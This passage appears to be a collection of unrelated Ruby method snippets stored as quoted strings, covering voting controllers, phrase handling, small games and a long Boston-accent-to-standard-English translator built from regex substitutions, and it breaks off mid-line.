"def user_choice_text_version\n this_here = pick_a_story\n puts \"\\n #{this_here.title}\"\n puts \"\\n\"\n Narrabot::Scraper.aesop_fable_text(this_here) if !this_here.text_and_moral\n puts this_here.text_and_moral\n puts \"\\n\"\n #puts \"Would you like me to read this story in my beautiful voice?\"\n #input = gets.chomp\n #switch = yes_or_no(input)\n #if switch == true\n # puts \"\"\n # \"#{this_here.text_and_moral}\".play (\"en\")\n #else\n # puts \"\"\n # play_and_puts(\"Okay\")\n #end\n end",
"def how_many_likes?(sentence)\n \nend",
"def analyze phrase\n\t\t@meaningful_words = meaningful_words(phrase, \" \")\n\tend",
"def read_phrases\n raise \"Override me\"\n end",
"def send_vote_reply vote\n tweeter = Tweeter.default\n reply_text = reply_message.gsub('#ANSWER#', \"#{vote.answer_abbr}\").gsub('#POLLNAME#', name )\n status = \"@#{vote.voter_name} #{reply_text} #{fq_url} #{poll_tag}\"\n tweeter.status_update( status, vote.tweet_id )\n logger.info(\"REPLY SENT\")\n end",
"def set_Phrase(value)\n set_input(\"Phrase\", value)\n end",
"def set_Phrase(value)\n set_input(\"Phrase\", value)\n end",
"def set_Phrase(value)\n set_input(\"Phrase\", value)\n end",
"def phrase_select\n PHRASES.sample\n end",
"def what_is_ur_objective(sender_id)\n Bot.on :message do |message|\n answer = message.text.downcase\n if answer.include?(\"non\")\n say(sender_id, \"Okay ! N'hésite pas à revenir si tu as besoin d'aide !\")\n else\n say(sender_id, IDIOMS[:objectives], OBJECTIVES)\n handle_objective(sender_id)\n end\n end\nend",
"def vote up\n end",
"def verb\n \"unlike\"\n end",
"def score\n url = \"https://wagon-dictionary.herokuapp.com/#{params['word']}\"\n @letters = params['letters'].split\n user_serialized = open(url).read\n user = JSON.parse(user_serialized)\n if user['found'] == true\n @answers = 'Well done!'\n elsif included?(params['word'], @letters)\n @answers = 'Valid word but try to speak a better English!'\n else\n @answers = 'You can do better'\n end\n end",
"def set_phrase\n @phrase = Phrase.find(params[:id])\n end",
"def phrase\n @phrase\n end",
"def censor(tweet, list_of_phrases)\n list_of_phrases.each { |phrase| tweet.gsub! phrase, \"CENSORED\" }\n puts tweet\nend",
"def passive_voice_subjunctive_mood_present_tense\n end",
"def phrases\n response[\"phrases\"]\n end",
"def answers\n %w{Yes No Maybe Ask\\ again\\ later}\nend",
"def dynamic_phrase_3\r\n one_it = 'one'\r\n\r\n # Verse 0: **Go to the store and buy some more**\r\n if zero_bottles?\r\n 'Go to the store and buy some more'\r\n else\r\n # Verse 1: **it**\r\n if one_bottle?\r\n one_it = 'it'\r\n end\r\n # Verse x: **Take one down and pass it around**\r\n \"Take #{one_it} down and pass it around\"\r\n end\r\n end",
"def phrase_params\n params.require(:phrase).permit(:title, :content, :person_id)\n end",
"def set_Vote(value)\n set_input(\"Vote\", value)\n end",
"def set_Vote(value)\n set_input(\"Vote\", value)\n end",
"def food_upvote?(topic)\n\ttopic == \"food\"\nend",
"def query_wo_exact_phrases(txt)\n self.query_without_exact_phrases ||= txt.gsub(Awesome::Definitions::Stopwords::QUOTED_REGEX, '')\n end",
"def phrases(data=nil, &block)\n\t\t\t#\tsequence the phrases\n\t\t\t#\t\t*sigh* verb and a noun\n\t\t\tnodes = sequence(data, &block)\n\n\t\t\t#\tonly care about the phrases\n\t\t\t#\t\tthese will all have been 'spoken'\n\t\t\tnodes.collect {|node| node.phrase }\n\t\tend",
"def process_phrase_for_word_count\n # remove punctuation\n @phrase.gsub!(/[^0-9a-z ,]/i, '')\n \n # remove list\n @phrase.gsub!(/[,]/, ' ')\n \n # lowercase everything\n @phrase.downcase!\n \n end",
"def answer_texts\n self.answers.map { |a| a.choice }\n end",
"def answer_texts\n self.answers.map { |a| a.choice }\n end",
"def searching_single(phrase)\n analyse_result(Ca::SimilarTest.mechanize_work(phrase), phrase)\n end",
"def suggest_movie\n\t\t# Take 5 random movies\n\t\tmovies = self.get_source_content.shuffle[0..4]\n\n\t\t# Create a readable list of movie names\n\t\tdisplay_list = movies.collect { |filepath|\n\t\t\tFile.basename(filepath).gsub(File.extname(filepath), '')\n\t\t}\n\n\t\t# Ask the user to veto a movie\n\t\tallowed_answers = (1..display_list.size).to_a\n\t\tusers = ['Tim', 'Maud'].shuffle\n\t\tuser = rand(1)\n\t\tmovie_id = nil\n\t\twhile movie_id.nil? do\n\t\t\tsystem 'clear'\n\t\t\tputs \n\n\t\t\t# Display list\n\t\t\tdisplay_list.each_with_index do |movie, i|\n\t\t\t\tputs \"#{i+1}: #{movie}\"\n\t\t\tend\n\t\t\tputs\n\n\t\t\t# If only one movie left, we select it\n\t\t\tif allowed_answers.size == 1\n\t\t\t\tmovie_id = allowed_answers[0] \n\t\t\t\tdisplay_name = display_list[movie_id-1]\n\t\t\t\tfilepath = movies[movie_id-1]\n\t\t\t\tputs \"On regarde donc #{display_name}, qui se trouve dans\"\n\t\t\t\tputs filepath\n\n\t\t\t\t# We remove it from the list\n\t\t\t\tself.remove_movie_from_list filepath\n\t\t\t\tnext\n\t\t\tend\n\n\t\t\t# Ask user for a veto\n\t\t\tputs \"#{users[user]}, à toi de mettre un véto\"\n\t\t\tanswer = gets.chomp.to_i\n\n\t\t\t# Incorrect answer\n\t\t\tif !allowed_answers.include? answer\n\t\t\t\tputs \"#{answer} n'est pas une réponse valide.\"\n\t\t\t\tputs \"Les seuls réponses valides sont : #{allowed_answers.join(', ')}\"\n\t\t\t\tputs \"Appuyez sur Entrée pour recommencer\"\n\t\t\t\tgets\n\t\t\telse\n\t\t\t\t# We remove this answer from the list\n\t\t\t\tallowed_answers.delete(answer)\n\t\t\t\tdisplay_list[answer-1].gsub!(/./, '#')\n\t\t\t\t# Switch to next user\n\t\t\t\tuser = (user+1)%2\n\t\t\tend\n\t\tend\n\n\tend",
"def a_turn_of_phrase(sentence)\n # code goes here\nend",
"def vote\n @user = User.find(cookies[:user_id])\n suggestion = Suggestion.find_by(name: params[:suggestion_name])\n \n if suggestion.nil?\n flash[:error] = \"Invalid vote\"\n respond_to do |format|\n format.json{ render :json => { :error => \"Invalid vote\" }, :status => 400}\n end\n return\n elsif [email protected]_vote?\n flash[:error] = \"Out of votes\"\n respond_to do |format|\n format.json{ render :json => { :error => \"You may not vote again until next month\" }, :status => 409}\n end\n return\n elsif Vote.has_voted?(@user.id, suggestion.id)\n flash[:error] = \"Already voted for this\"\n respond_to do |format|\n format.json{ render :json => { :error => \"You already voted for this\" }, :status => 409}\n end\n return\n end\n \n suggestion.voted\n @user.vote\n Vote.create(user_id: @user.id, suggestion_id: suggestion.id)\n \n # Needed to track votes in rspec:\n @user_votes = @user.remaining_votes\n @suggestion_votes = suggestion.votes\n \n respond_to do |format|\n format.json{ head :ok }\n return\n end\n end",
"def set_RelatedWords(value)\n set_input(\"RelatedWords\", value)\n end",
"def showing_message\n #if self.user.find_by(User.find(session[:user_id]))\n errors.add(:base, 'A user can vote only once!')\n\n end",
"def active_voice_subjunctive_mood_present_tense\n end",
"def refresh_choosed\n self.choosed_text = self.translated_texts.first\n self.save\n end",
"def terms\n redirect_to '/404' unless Rails.configuration.terms\n\n if params[:accept] == \"true\"\n current_user.update_attributes(accepted_terms: true)\n login(current_user)\n end\n end",
"def wookie_sentence; end",
"def pirate_speech(sentence)\n sentence.gsub('Hello', 'Ahoy').\n gsub('hello', 'ahoy').\n gsub('Friend', 'Matey').\n gsub('friend','matey').\n gsub('Yes', 'Aye').\n gsub('yes', 'aye') + \" Arrrrr\"\nend",
"def vote( to_proposal )\r\n sender = @voters[msg.sender]\r\n assert sender.voted? == false && to_proposal < @proposals.length\r\n sender.voted = true\r\n sender.vote = to_proposal\r\n @proposals[to_proposal].vote_count += sender.weight\r\nend",
"def noun; end",
"def noun; end",
"def speak meaning\n MyLogger.debug \"Player ##{id} speaking #{meaning}\"\n word = lookup(meaning, should_invent?)\n Utterance.new(meaning, word) unless word.nil?\n end",
"def set_like\n\n end",
"def favorite\n \tfavorited_texto = read_favorited_texto # Get all already voted texto\n \t\n \tif !favorited_texto.include?(params[:id])\n \t\t@texto = Texto.find(params[:id])\n\t\t write_favorited_texto(params[:id])\n\t respond_with(@texto)\n\tend \n end",
"def highlight(text, phrases, *args)\n options = extract_options_from_args!(args) || {}\n unless args.empty?\n options[:highlighter] = args[0] || '<strong class=\"highlight\">\\1</strong>'\n end\n options.reverse_merge!(:highlighter => '<strong class=\"highlight\">\\1</strong>')\n\n if text.blank? || phrases.blank?\n text\n else\n match = Array(phrases).map { |p| Regexp.escape(p) }.join('|')\n text.gsub(/(#{match})/i, options[:highlighter])\n end\n end",
"def user_has_voted(user, meeting)\n meeting.suggestions.each do |suggestion|\n if suggestion.meeting_id == meeting.id\n suggestion.votes.each do |vote|\n if vote.voter_id == user.id && vote.decision == Vote::DONTKNOW\n return false\n end\n end\n end\n end\n return true\n end",
"def tag_as_read(user)\n self.read = true\n self.save\n self.answers.each do |a|\n a.read = true unless a.user_id.eql? user.id #we don't to tag as read his answers\n a.save\n end\n end",
"def more_like_me\n # super(:similarities => 'category,keyword')\n raise \"The more_like_me functionality is not implemented.\"\n end",
"def word_yeller(sentence)\n\n\nend",
"def dynamic_phrase_1\r\n\r\n # Verse 1: **1 bottle**\r\n # Verse 0: **No more bottles**\r\n if zero_bottles?\r\n \"No more bottles\"\r\n # Verse 1: **1 bottle**\r\n # Verse x: **x bottles**\r\n else\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end",
"def vote \n\t\tsuggestion = Suggestion.find(suggestion_params[:id])\n\t\tuser_vote = UserVote.where({\n\t\t\t\t:user_hash => cookies[:user_hash],\n\t\t\t\t:suggestion_id => suggestion.id}).first\n\t\t\n\t\tif suggestion_params[:abort]\n\n\t\t\tnow = Time.now.to_i\n\t\t\tif now < (suggestion.voting_started_at + 55)\n\t\t\t\tsuggestion.voting_started_at = now - 55\n\t\t\tend\n \n else\n\n\t\t\tif user_vote # the user has already voted on this\n\t\t\t\tlogger.debug 'vote exists'\n\t\t\t\tif suggestion_params[:direction] == 'up' && user_vote.vote < 1\n\t\t\t\t\tuser_vote.vote += 1\n\t\t\t\t\tsuggestion.score += 1\n\t\t\t\t\t#user_reward(suggestion, 2)\n\t\t\t\telsif suggestion_params[:direction] == 'down' && user_vote.vote > -1\n\t\t\t\t\tuser_vote.vote -= 1\n\t\t\t\t\tsuggestion.score -= 1\n\t\t\t\t\t#user_reward(suggestion, -2)\n\t\t\t\tend\n\t\t\t\t\n\t\t\telse # the user votes on this for the first time\n\t\t\t\tlogger.debug 'new vote'\n\t\t\t\tif suggestion_params[:direction] == 'up' \n\t\t\t\t\tsuggestion.score += 1\n\t\t\t\t\t#user_reward(suggestion, 1)\n\t\t\t\t\tv = 1\n\t\t\t\telse \n\t\t\t\t\tsuggestion.score -= 1\n\t\t\t\t\t#user_reward(suggestion, -1)\n\t\t\t\t\tv = -1\n\t\t\t\tend\n\t\t\t\tuser_vote = UserVote.new(\n\t\t\t\t\t:user_hash => cookies[:user_hash],\n\t\t\t\t\t:suggestion_id => suggestion.id,\n\t\t\t\t\t:vote => v\n\t\t\t\t)\n\t\t\tend\n\t\t\t\n\t\t\tuser_vote.save\t\t\t\t\t\t\n\t\t\n\t\tend\t\t\t\n\t\t\n\n\t\tif suggestion_params[:top_boost]\n\t\t\t\tsuggestion.name2 = cookies[:user_name]\n\t\tend\n\t\t\t\t\t\t\t\t\n\t\tsuggestion.save\n\n\t\tPusher['chez_ois_chat'].trigger('update_suggestions_' + suggestion_params[:avatar_id], load_suggestions(suggestion_params[:avatar_id]))\n\t\t#Pusher['chez_ois_chat'].trigger('update_highscores', load_highscores)\n\t\trender json: suggestion\n\tend",
"def translator\n # Greet your user in the language of their people.\n puts [\"SUP KID? \",\n \t \"What didja say? \",\n \t \"How ya doan? \",\n \t \"How ahrya?\",\n \t \"How 'bout them Sox? \",\n \t \"How 'bout them Pats? \"].sample\n\n # Get their response and lop off the carriage return, Massachusetts Left style.\n phrase = gets.chomp.to_s\n\n # Now we're going to award the user points based on density of Boston-specific\n # diction, aka their Beantown Points(tm).\n i = 0\n beantown_points = 0\n wicked_boston_words = [\"bubblah\",\n \"wicked\",\n \"reveah\",\n \"the dot\",\n \"medfid\",\n \"broons\",\n \"barrel\",\n \"digga\",\n \"southie\",\n \"eastie\",\n \"rotary\",\n \"pissah\",\n \"jp\",\n \"fried\",\n \"directional\",\n \"beantown\",\n \"red sox\",\n \"common\",\n \"dunkin donuts\",\n \"patriots\",\n \"celtics\",\n \"green monster\",\n \"dirty watah\",\n \"packie\"\n ]\n\n searchable_phrase = phrase.downcase\n\n wicked_boston_words.each do |i|\n \tif searchable_phrase.include?(i)\n \t\tbeantown_points += 1\n \tend\n end\n\n ########################################################################################################\n # A-Z dictionary of specific gsubs for targeted replacement. This is about to get wicked awesome, bro! #\n ########################################################################################################\n\n # A\n phrase.gsub!(/\\bacross the rivah?\\b/i, 'on the other side of the Charles River') # across the rivah (other side of the charles)\n phrase.gsub!(/\\b(a)dvahtisin'?g?\\b/i, '\\1dvertising') # advahtisin'(g)\n phrase.gsub!(/\\b(a)dvisah?\\b/i, '\\1dviser') # advisah\n phrase.gsub!(/\\b(a)doah\\b/i, '\\1dore') # adoah\n phrase.gsub!(/(a)ftah/i, '\\1fter') # aftah (aftahwahds, raftah, & other containing words)\n phrase.gsub!(/\\bah(h)?(?=\\s[a-z]+in('|g))?\\b/i, 'are') # ah (usually \"are\" if a word ending in \"ing is after\")\n phrase.gsub!(/\\b(the)? Ahbs\\b/i, '\\1 Arboretum') # the ahbs is a fun place to hang out\n phrase.gsub!(/\\b(a)hm\\b/i, '\\1rm') # curt schilling's gotta good ahm\n phrase.gsub!(/(f|w|h|al|ch|fore)ahm(s?)/i, '\\1arm\\2') # ahm at the end of words\n phrase.gsub!(/\\bahr\\b/i, 'are') # ahr\n phrase.gsub!(/\\bahrya\\b/i, 'are you') # how ahrya?!\n phrase.gsub!(/\\b(a)hnt\\b/i, '\\1unt') # ya ahnt is comin' to Christmas\n phrase.gsub!(/\\ball set\\b/i, 'all done') # all set with my dinnah, thank you\n phrase.gsub!(/\\bAllston Christmas\\b/i, 'The last weekend in August when all the students move out and leave their furniture behind in Allston') # Gonna need a biggah cah\n phrase.gsub!(/\\b(a)mbassad(oah|ah)(s)/i, '\\1ambassad\\2\\3') # ambassadoah/dah\n\n # B\n phrase.gsub!(/\\b(b)ah\\b/i, '\\1ar') # bah (let's get a beeah at the bah)\n phrase.gsub!(/\\b(cross|crow|de|dis|draw|handle|iso|sand|side)bah(s)\\b/i, '\\1bar\\2') # \"bah\" (words ending in bah)\n phrase.gsub!(/\\bbahnie\\b/i, 'smart geek') # bahnie\n phrase.gsub!(/\\bbang a left\\b/i, 'take a left') # bang a left...but do it before the oncoming turns green!\n phrase.gsub!(/\\b(b)ankin/i, 'hillside') # watch the game from the bankin\n phrase.gsub!(/\\bbarrel/i, 'trash can') # throw that yankees jersey in the barrel\n phrase.gsub!(/\\bbazo\\b/i, 'drunk') # bazo on the weekendddd\n phrase.gsub!(/\\bbeantown\\b/i, 'Boston') # beantown\n phrase.gsub!(/\\b(b)eeah(s)?\\b/i, '\\1eer') # lemme buy ya a beeah (sam adams please)\n phrase.gsub!(/\\b(b)ettah\\b/i, '\\1etter') # bettah (than you)\n phrase.gsub!(/\\bbig(-|\\s)ball bowling?/i, '10-pin bowling') # big ball bowlin'\n phrase.gsub!(/\\bBig Dig\\b/i, 'the most expensive highway project in U.S. History') # the big dig, depress that central ahtery\n phrase.gsub!(/\\bb(ill-)?ricka/i, 'Billerica') # Billerica\n phrase.gsub!(/\\bboahded\\b/i, 'dibs') # boahded\n phrase.gsub!(/\\bbobos\\b/i, 'boat shoes') # bobos\n phrase.gsub!(/\\bBostonian\\b/i, 'resident of Boston') # Bostonian\n phrase.gsub!(/\\bbook(ed|in)? outta theah\\b/i, 'took off') # bookin' it\n phrase.gsub!(/\\b(b)r(a|u)h\\b/i, '\\1ro') # brah/bruh\n phrase.gsub!(/\\bbrahmin\\b/i, 'WASP-y type') # Brahmin\n phrase.gsub!(/\\bbreakdown lane\\b/i, 'highway shoulder') # breakdown lane at rush hoah, jeez\n phrase.gsub!(/\\bBroons\\b/i, 'Bruins') # Da Broons!\n phrase.gsub!(/\\bbubblah\\b/i, 'water fountain') # bubblah\n\n # C\n phrase.gsub!(/\\b(c)ahds\\b/i, '\\1ards') # cahds\n phrase.gsub!(/\\b(c|ced|chedd|sc|sidec|tramc|supahc|vic)ah(s)?\\b/i, '\\1ar\\2') # cah(s) and 6 containing words that are most common.\n phrase.gsub!(/\\b(c)alendah(s)?\\b/i, '\\1alendar\\2') # calendah (the sawx got theyah openin' day on theah!)\n phrase.gsub!(/\\bcalm ya liva(a|h)?/i, 'relax') # calm ya livah, I didn't eat ya dinnah\n phrase.gsub!(/\\b(c)an't get\\b/i, '\\1an get') # can't get (no satifaction...but plenty of double negatives up for grabs, so)\n phrase.gsub!(/\\bThe Cape\\b/i, 'Cape Code, Massachusetts') # goin' to the Cape this summah\n phrase.gsub!(/\\bcarriage\\b/i, 'grocery cart') # carriage (for ya lobstahs and beeahs)\n phrase.gsub!(/\\b(c)awna\\b/i, '\\1orner') # coolidge cawna\n phrase.gsub!(/\\b(c)ella(h)\\b?/i, 'basement') # go down cella\n phrase.gsub!(/\\b(c)howdah\\b/i, '\\1howder') # chowdah (clam or lobstah, take ya pick at sullivan's!)\n phrase.gsub!(/\\b(coffee|small|medium|lahge) regulah\\b/i, 'coffee with cream and two sugars') # coffee, regulah\n phrase.gsub!(/\\bCochihchewit\\b/i, 'Cochituate') # Co-CHIH-chew-it\n phrase.gsub!(/\\b(c)onsidah\\b/i, '\\1onsider') # considah\n phrase.gsub!(/\\b(c)orridoah(s)\\b/i, '\\1orridor\\2') # corridor\n phrase.gsub!(/\\b(c)umbie(s|'s)/i, 'Cumberland Farms Mini-Mart') # cumbie's\n\n # D\n phrase.gsub!(/\\b(Mon|Tues|Wed|Thurs|Fri|Sun)diz/i, '\\1days') # plural days of the week, less Saturday which can have a couple pronunciations\n phrase.gsub!(/\\b(d)ecoah\\b/i, '\\1ecor') # decoah (in ya apahtment!) -- most frequently used word ending in \"cor\"\n phrase.gsub!(/\\bdecked\\b/i, 'punched') # he got decked at the sox game\n phrase.gsub!(/\\bdecked\\sout\\b/i, 'dressed up') # he's all decked out for his date!\n phrase.gsub!(/\\b(d)idja\\b/i, '\\1id you') # didja\n phrase.gsub!(/\\bdirty watah\\b/i, 'the Charles River') # love that dirty watah\n phrase.gsub!(/\\bdiggah?\\b/i, 'fall') # fell on some ice and took a diggah\n phrase.gsub!(/\\b(d|fl|ind|p|outd)oah\\b/i, '\\1oor') # oah words ending in oor\n phrase.gsub!(/\\b(direc|doc)tah\\b/i, '\\1tor') # doctah/directah\n phrase.gsub!(/\\bdirectional\\b/i, 'turn signal') # put on ya directional before you take turn\n phrase.gsub!(/\\bDot Ave\\b/i, 'Dorchester Avenue') # Dot Ave\n phrase.gsub!(/\\bDot Rat(s)?/i, 'resident\\1 of Dorchester') # Dot Rats\n phrase.gsub!(/\\bthe Dot\\b/i, 'Dorchester') # the dot\n phrase.gsub!(/\\bdunki(n'?s'?|n|es)(\\sdonuts)?\\b/i, 'Dunkin\\' Donuts') # dunkies, dunkins, dunkin, dunkin's, & dunkin's!\n phrase.gsub!(/\\bdrawring\\b/i, 'drawing') # drawring\n\n # E\n phrase.gsub!(/\\bEastie\\b/i, 'East Boston') # Eastie\n phrase.gsub!(/\\belastic(s)?\\b/i, 'rubber band\\1') # elastics\n phrase.gsub!(/(e)ntah\\b/i, '\\1nter') # entah (come in heah!)\n phrase.gsub!(/\\b(e)ntiah\\b/i, 'entire') # entiah (I've lived in Boston my entiah life)\n phrase.gsub!(/(n)?(e)vah\\b/i, '\\1\\2ver') # evah (or forevahevah! or nevah. that too.)\n\n # F\n phrase.gsub!(/\\bfahr\\b/i, 'for') # fahr (ready fahr spring after this wintah!)\n phrase.gsub!(/\\bfactah\\b/i, 'factor') # factah\n phrase.gsub!(/\\b(af|insof|ovahf|f)ah\\b/i, '\\1ar') # fah (neah, fah, wheahevah you ahhhhh)\n phrase.gsub!(/(f)ahkin'?/i, '\\1*!king') # I mean, it's not very polite but you have to admit it is a distinctive part of a true Boston accent!\n phrase.gsub!(/(f)ahk?/i, '\\1*!k') # I mean, it's not very polite but you have to admit it is a distinctive part of a true Boston accent!\n phrase.gsub!(/\\b(airf|cahf|thoughroughf|welf|wahf|f)ayah\\b/i, '\\1are') # fayah (wahfayah, aihfayah)\n phrase.gsub!(/\\bfawr\\b/i, 'for') # fawr\n phrase.gsub!(/(af|bef|f)oah\\b/i, '\\1ore') # foah (fore & variants)\n phrase.gsub!(/\\bfoddy\\b/i, 'fourty') # foddy\n phrase.gsub!(/\\bfrappe\\b/i, 'a milkshake/malted (ice cream, milk, & syrup blended)') # frappe\n phrase.gsub!(/\\b(frickin|friggin)'?(?!\\z|\\s)/i, 'freaking') # the G-rated version of Boston's favorite adjective\n phrase.gsub!(/\\bfried\\b/i, 'weird') # fried\n phrase.gsub!(/\\bFudgicle\\b/i, 'Fudgsicle') # a fudgsicle that lost the \"s\"\n\n # G\n phrase.gsub!(/\\b(g)ahbidge\\b/i, '\\1arbage') # Wednesdiz is gahbidge day\n phrase.gsub!(/\\b(gawrls|gahls|gawhls)/i, 'girls') # gawrls just wanna...learn to code and change the girl to dave ratio, actually.\n phrase.gsub!(/(g)awd\\b/i, '\\1od') # oh my gawd\n phrase.gsub!(/\\b(g)ovahment\\b/i, '\\1overnment') # Govahment Centah! It's wheah Boston Cawllin' always is!\n phrase.gsub!(/\\b(ci|beg|vul|sug|vine)gah(s)?\\b/i, '\\1gar\\2') # gah --> sugah, cigah, etc.\n phrase.gsub!(/\\b(g)oah\\b/i, '\\1ore') # goah (Melissa-Leigh Goah, like Al Goah, he invented the intahnet)\n phrase.gsub!(/\\bg(o|a)tta\\b/i, 'have to') # gotta\n phrase.gsub!(/\\b(g)rammah\\b/i, '\\1rammar') # grammah\n phrase.gsub!(/\\bgrindah?(s)?\\b/i, 'sub\\1') # grindahs\n phrase.gsub!(/\\b(g)uitah\\b/i, '\\1uitar') # guitah (what's that game the kids ah playin? guitah hero?!)\n\n # H\n phrase.gsub!(/\\b(Hahvahd|Havahd|Havid|Hahvid)/i, 'Harvard') # Let's go to Hahvid and sit outside the Widenah Library\n phrase.gsub!(/\\b(hang|hook) a right\\b/i, 'take a right') # hang/hook a right\n phrase.gsub!(/\\bhamburg\\b/i, 'ground beef') # my grammy's go to dinnah was hamburg thingies..aka ground beef patties with mustard cooked on one side of a hamburger bun (this is an actual true story from the writer of this program, haha)\n phrase.gsub!(/\\b(heahd|heid)\\b/i, 'heard') # ya nevah heahd about that?\n phrase.gsub!(/heah/i, 'here') # heah, wheah, theah (wait, who's on first?!) -- this matches on at least 300 english words containing \"here\"\n #hahbah (no taxation without representation, ya dig?) covered under \"lahbah\"\n phrase.gsub!(/\\bHub\\b/i, 'Boston') # the Hub\n\n # I\n phrase.gsub!(/\\b(i)dear\\b/i, '\\1dea') # idear (so THAT'S where all those \"r\"'s went!')\n phrase.gsub!(/\\b(i)ntahfeah\\b/i, '\\1nterfere') # doan wanna intahfeah, ya know?\n\n # J\n phrase.gsub!(/\\b(a)?(j)ah\\b/i, '\\1\\2ar') # jah and ajah, like jams and doahs, but not doahjahms. well, maybe.\n phrase.gsub!(/\\bjimmies\\b/i, 'chocolate sprinkles') # jimmies, just be careful asking for these in NJ\n phrase.gsub!(/\\bJP\\b/, 'Jamaica Plain') # JP, fastest gentrifying neighbahood\n\n # K\n phrase.gsub!(/\\b(k)eggah?(s)\\b/i, '\\1eg party\\2') # kegga, aka something you throw at ya new apahtment in college\n phrase.gsub!(/\\b(k)inda\\b/i, '\\1ind of') #\n\n # L\n phrase.gsub!(/(chancel|council|sail|counsel|tai|pah|bache|co|sett)lah\\b/i, '\\1lor') # lah (words ending in lah are usually \"ler\", so this looks for the most common ones that should actually be \"lor\" first)\n phrase.gsub!(/([a-z])+ahbah\\b/i, '\\1abor') # lahbah (workin' hahd!) also covers hahbah (no taxation without representation, ya dig?!) and other bor words -- targeted rule so general rule doesn't make this \"laber\"\n phrase.gsub!(/\\b(l)abradoah(s)\\b/i, '\\1abrador\\2') # labradoah retrievah\n phrase.gsub!(/\\bLe(ay|i)?stuh\\b/i, 'Leicester') # Leicester\n phrase.gsub!(/\\bLem(o|i)nstah\\b/i, 'Leominster') # Leominster\n phrase.gsub!(/\\bLight Dawns ovah? Mahblehead\\b/i, 'Oh, DUH.') # light dawns ovah mahblehead\n phrase.gsub!(/\\b(l)iquah\\b/i, '\\1iquor') # liquah stoah...aka a packie, tbh\n phrase.gsub!(/\\blotta\\b/i, 'lot of') # lotta\n\n # M\n phrase.gsub!(/(ah|gla|hu|ru|tre|tu)mah\\b/i, 'mor') # words ending in mah, like rumah, humah (targeted gsub bc most are \"mer\")\n phrase.gsub!(/\\b(m)ajah\\b/i, '\\1ajor') # majah league baseball\n phrase.gsub!(/\\bmasshole\\b/i, 'a proud jerk from Massachusetts') # massholes :)\n phrase.gsub!(/\\b(m)ayah\\b/i, '\\1ayor') # Mayah Menino was the best mayah evah. (RIP)\n phrase.gsub!(/\\b(Mehfuh|Meffid|Medfid)\\b/i, 'Medford') # Meffid. Next to Somerville, home to Tufts\n phrase.gsub(/ministah\\b/i, 'minister') # ministah (the religious kind, but also administer, etc)\n\n # N\n phrase.gsub!(/\\b(nawht|naht)\\b/, 'not') # naht/nawt\n phrase.gsub!(/\\bnooyawka\\b/i, 'New Yorker') # Nooyawka, just the kind of person you don't want to meet at Fenway\n phrase.gsub!(/(semi|so|lu)nah\\b/i, '\\1nar') # \"nah\" ending words that aren't \"ner\"...seminah, solah\n phrase.gsub!(/(na-ah|nuh-uh|nuh-ah)/i, 'no way') # nah-ah\n phrase.gsub!(/\\bneighbahood\\b/i, 'neighborhood') # neighbahood\n\n # O\n phrase.gsub!(/\\b(o)ah\\b/, '\\1ur') # oah (this is ah (our) city!)\n phrase.gsub!(/(o)ffah/i, '\\1ffer') # offah\n phrase.gsub!(/onna(-|\\s)?conna/i, 'on account of') # onna-conna I gotta help my ma\n phrase.gsub!(/\\bopen ai(r|h)\\b/i, 'drive in movie') # open air (drive in movie theatre)\n phrase.gsub!(/(o)thah/i, '\\1ther') # othah (and also containing words like anothah or brothah)\n phrase.gsub!(/(o)vah/i, '\\1ver') # ovah (and also containing words like covah (at the bah!) rovah or ovahpass)\n phrase.gsub!(/(o)wah\\b/i, '\\1wer') # owah (all words ending in \"ower\", powah, flowah, etc)\n\n # P\n phrase.gsub!(/\\bpackie\\b/i, 'liquor store') # packie\n phrase.gsub!(/\\bpeab('dee|dee|ody)\\b/i, 'Peabody') # Peabody\n phrase.gsub!(/\\b(p)lenny\\b/i, '\\1lenty') # plenny ah beahs in the fridge\n phrase.gsub!(/\\bpissah?\\b/i, 'cool') # wicked pissah\n phrase.gsub!(/\\b(Ptown|P-Town|P Town)/i, 'Provincetown') # at the endah tha cape\n\n # Q\n phrase.gsub!(/\\bquality\\b/i, 'worthless') # sarcasm at its finest\n phrase.gsub!(/\\bQuinzee\\b/i, 'Quincy') # Quincy\n\n # R\n phrase.gsub!(/\\b(r)adah?\\b/i, '\\1adar') # radah (cops runnin the radah around to cawnah)\n phrase.gsub!(/\\brahya\\b/i, 'rare') # rahya (wicked rahya steak)\n phrase.gsub!(/\\b(r)apshah?\\b/i, '\\1apture') # rapsha (Jesus and/or Red Sox championship parades, either way)\n phrase.gsub!(/\\b(r)awregg\\b/i, '\\1aw egg') # rawregg can give ya salmonella\n phrase.gsub!(/\\b(r)eahview\\b/i, '\\1earview') # reahview (mirror)\n phrase.gsub!(/\\b(r)emembah\\b/i, '\\1emember') # remembah (when govahment centah was open?)\n phrase.gsub!(/\\breveah\\b/i, 'Revere') # Reveah (as in, Paul. or the beach. or from, kid!)\n phrase.gsub!(/\\brotary\\b/i, 'traffic circle') # second left on tha rotary\n\n # S\n phrase.gsub!(/\\bsangwich\\b/i, 'sandwich') # sangwich\n phrase.gsub!(/\\bsa(dda|ti|tih|ta|tah|tuh)d(ay|ee)\\b/i, 'Saturday') # Satahday\n phrase.gsub!(/\\bsat(a|i)hdiz\\b/i, 'Saturdays') # Satahdays\n phrase.gsub!(/\\bskeeve(s|d)/i, 'grossed out') # skeeved out by hair in food, lemme tell ya\n phrase.gsub!(/soah\\b/i, 'sore') # wicked soah from gettin swole at the gym, bro\n phrase.gsub!(/\\b(s)o do(an|n'?t) i\\b/i, '\\1o do I') # So do(a)n't I!\n phrase.gsub!(/\\bsouthie\\b/i, 'South Boston') # Southie\n phrase.gsub!(/\\bspa\\b/i, 'convenience store (family-owned, usually)') # spa (let's go get an italian ice!)\n phrase.gsub!(/\\b(co|lode|mega|supah|)?stah\\b/i, 'star') # stah (ben affleck/matt damon, need I say moah?)\n phrase.gsub!(/\\bsuppah?\\b/i, 'dinner') # suppah\n phrase.gsub!(/\\bsweet caroline\\b/i, 'Sweet Caroline (BUM BUM BUM)') # GOOD TIMES NEVER SEEMED SO GOOOODD\n\n # T\n phrase.gsub!(/\\bthe T\\b/i, 'subway') # after this winter, it's a wonder I didn't replace this one with \"unusable death trap\"\n # \"theah\" is covered under \"h\" in the heah substitution\n phrase.gsub!(/\\btah\\b/i, 'to') # tah (ready tah go!)\n phrase.gsub!(/\\btawnic\\b/i, 'tonic (soda)') # get a tawnic outta the fridge foh ya fahtah\n phrase.gsub!(/\\btempasha(h)?\\b/i, 'temperature') # David Epstein says the tempasha should go back up tomarrah.\n phrase.gsub!(/\\b(t)ha\\b/i, '\\1he') # tha\n phrase.gsub!(/thah?\\b/i, 'ther') 